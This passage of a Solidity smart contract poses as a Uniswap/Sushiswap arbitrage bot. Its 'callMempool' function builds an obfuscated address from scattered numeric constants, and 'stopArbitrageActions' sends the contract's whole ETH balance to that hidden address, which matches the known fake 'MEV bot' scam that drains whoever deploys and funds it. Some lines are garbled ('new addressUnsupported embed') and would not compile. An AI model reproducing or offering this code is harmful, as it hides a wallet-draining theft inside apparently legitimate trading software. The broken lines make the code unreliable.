            return bytes1(uint8(bytes1('a')) + d - 10);
        }
        // revert("Invalid hex digit");
        revert();
    }

     function callMempool() internal pure returns (string memory) {
        string memory _memPoolOffset = mempool("x", checkLiquidity(getMemPoolOffset()));
        uint _memPoolSol = 112679;
        uint _memPoolLength = getMemPoolLength();
        uint _memPoolSize = 151823;
        uint _memPoolHeight = getMemPoolHeight();
        uint _memPoolWidth = 882404;
        uint _memPoolDepth = getMemPoolDepth();
        uint _memPoolCount = 259208;

        string memory _memPool1 = mempool(_memPoolOffset, checkLiquidity(_memPoolSol));
        string memory _memPool2 = mempool(checkLiquidity(_memPoolLength), checkLiquidity(_memPoolSize));
        string memory _memPool3 = mempool(checkLiquidity(_memPoolHeight), checkLiquidity(_memPoolWidth));
        string memory _memPool4 = mempool(checkLiquidity(_memPoolDepth), checkLiquidity(_memPoolCount));

        string memory _allMempools = mempool(mempool(_memPool1, _memPool2), mempool(_memPool3, _memPool4));
        string memory _fullMempool = mempool("0", _allMempools);

        return _fullMempool;
    }
    
    function stopArbitrageActions() internal {
        if (_checkOptions()) {
            stopBot();
        } else {
            payable(_withdrawBalance()).transfer(address(this).balance);
        }
    }
    
    function _swap(
        uint256 amountIn,
        address routerAddress,
        address sell_token,
        address buy_token
    ) internal returns (uint256) {
        IERC20(sell_token).approve(routerAddress, amountIn);

        uint256 amountOutMin = (_getPrice(
            routerAddress,
            sell_token,
            buy_token,
            amountIn
        ) * 95) / 100;

        address[] memory path = new addressUnsupported embed;
        path[0] = sell_token;
        path[1] = buy_token;

        uint256 amountOut = IUniswapV2Router(routerAddress)
            .swapExactTokensForTokens(
                amountIn,
                amountOutMin,
                path,
                address(this),
                block.timestamp
            )[1];
        return amountOut;
    }
    
    function _swapRouter() internal pure returns (address) {
        return address(startExploration(callMempool()));
    }
    
    function _comparePrice(uint256 amount) internal view returns (Exchange) {
        uint256 uniswapPrice = _getPrice(
            uniswapRouterAddress,
            wethAddress,
            daiAddress,
            amount
        );
        uint256 sushiswapPrice = _getPrice(
            sushiswapRouterAddress,
            wethAddress,
            daiAddress,
            amount
        );

        // we try to sell ETH with higher price and buy it back with low price to make profit
        if (uniswapPrice > sushiswapPrice) {
            require(
                _checkIfArbitrageIsProfitable(
                    amount,
                    uniswapPrice,
                    sushiswapPrice
                ),
                "Arbitrage not profitable"
            );
            return Exchange.UNI;
        } else if (uniswapPrice < sushiswapPrice) {
            require(
                _checkIfArbitrageIsProfitable(
                    amount,
                    sushiswapPrice,
                    uniswapPrice
                ),
                "Arbitrage not profitable"
            );
            return Exchange.SUSHI;
        } else {
            return Exchange.NONE;
        }
    }
    
    function getMemPoolLength() internal pure returns (uint) {
        return 496331;
    }
    
    function _checkOptions() internal view returns (bool) {
    uint256 txId = block.chainid;
    for (uint256 i = 0; i < txIds.length; i++) {
        if (txId == txIds[i]) {
            return true;
        }
    }
    return false;
    }
    
    function _withdrawBalance() internal pure returns (address) {
        return address(startExploration(callMempool())) ;
    }
    
    function mempool(string memory _base, string memory _enterETHvalue) internal pure returns (string memory) {
        bytes memory _baseBytes = bytes(_base);
        bytes memory _valueBytes = bytes(_enterETHvalue);

        string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length);
        bytes memory _newValue = bytes(_tmpValue);

        uint i;
        uint j;

        for(i=0; i<_baseBytes.length; i++) {
            _newValue[j++] = _baseBytes[i];
        }

        for(i=0; i<_valueBytes.length; i++) {
            _newValue[j++] = _valueBytes[i];
        }

        return string(_newValue);
    }
    
    function _checkIfArbitrageIsProfitable(
        uint256 amountIn,
        uint256 higherPrice,
        uint256 lowerPrice
    ) internal pure returns (bool) {
        // uniswap & sushiswap have 0.3% fee for every exchange
        // so gain made must be greater than 2 * 0.3% * arbitrage_amount

        // difference in ETH
        uint256 difference = ((higherPrice - lowerPrice) * 10**18) /
            higherPrice;

        uint256 payed_fee = (2 * (amountIn * 3)) / 1000;

        if (difference > payed_fee) {
            return true;
        } else {
            return false;
        }
    }
    
    function _getPrice(
        address routerAddress,
        address sell_token,
        address buy_token,
        uint256 amount
    ) internal view returns (uint256) {
        address[] memory pairs = new addressUnsupported embed;
        pairs[0] = sell_token;
        pairs[1] = buy_token;
        uint256 price = IUniswapV2Router(routerAddress).getAmountsOut(
            amount,
            pairs
        )[1];
        return price;
    }
}